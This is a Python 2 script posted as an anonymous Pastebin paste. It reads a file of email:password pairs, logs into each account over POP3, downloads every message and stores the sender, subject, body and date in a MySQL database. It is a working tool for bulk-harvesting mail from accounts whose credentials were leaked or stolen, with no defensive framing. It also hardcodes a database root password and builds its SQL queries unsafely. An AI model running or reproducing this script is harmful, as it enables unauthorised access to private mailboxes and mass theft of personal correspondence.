Advertisement
Guest User

Untitled

a guest
May 7th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.33 KB | None | 0 0
  1. #!/usr/local/bin/python
  2.  
  3. import poplib, _mysql, re
  4. from re import findall
  5. from email.header import decode_header
  6. from threading import Thread
  7.  
  8. global mysql
  9. mysql = _mysql.connect(host="localhost", user="root", passwd="275633208", db="utf")
  10. mysql.query("SET NAMES 'cp1251'")
  11.  
  12. def decodeemail(message):
  13.     message = unicode(message, findall('.*?charset\s*=\s*[\'"]?([\w\-\d]+)[\'"]?', message)[0] or 'cp1251')
  14.     def dec(matches):
  15.         #print matches.group()
  16.         s = decode_header(matches.group())[0]
  17.         return unicode(s[0], s[1])
  18.     rx = re.compile(r'(=\?[^ ]+\?= ?)');
  19.     message = rx.subn(dec, message)[0]
  20.     return message
  21.  
  22. def parse_output(output):
  23.  
  24.     output = decodeemail(output)
  25.     header, body = output.split('\n\n', 1);
  26.     try: owner = findall('To: (.+)', header)[0];
  27.     except: owner = '';
  28.     try: subject = findall('Subject: (.+)', header)[0];
  29.     except: subject = '';
  30.     try: sender = findall('From: (.+)', header)[0];
  31.     except: sender = '';
  32.     try:
  33.         d, m, y, h, i, s = findall('Date: \w+, (\d\d) (\w\w\w) (\d\d\d\d) (\d\d):(\d\d):(\d\d)', header)[0];
  34.         months = dict(zip(['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], range(1,13)));
  35.         m = months[m]
  36.         date = '%s%02d%s%s%s%s'%(y,m,d,h,i,s)
  37.     except: date = ''
  38.     return (owner, subject, output, sender, date)
  39.  
  40. def insert_in_db(values):
  41.     values = map(lambda a: a.replace("'", "\\'"), values);
  42.     query = "INSERT INTO `emails` (`email`, `subject`, `body`, `sender`, `date`) VALUES ('%s')"%"', '".join(values)
  43.     mysql.query(query.encode('cp1251'));
  44.    
  45.  
  46. def grab_email(email, password):
  47.     try:
  48.         username, host = email.split('@',1);
  49.         M = poplib.POP3('pop.'+host)
  50.         M.user(username)
  51.         M.pass_(password)
  52.         numMessages = len(M.list()[1])
  53.     except:
  54.         print '%s:%s Failure!'%(email, password);
  55.         return 0
  56.     c = 0
  57.     for i in range(numMessages):
  58.         try:
  59.             insert_in_db(parse_output("\n".join(M.retr(i+1)[1])))
  60.             c+=1
  61.         except:
  62.             pass
  63.     print '%d (%f) messages retrived.'%(c, c/numMessages*100)
  64.     return 1
  65.  
  66. file = open('emailpassword.txt', 'r')
  67. for line in file:
  68.     email, password = line[:-1].split(':',1)
  69.     print 'Trying %s'%email
  70.     grab_email(email, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement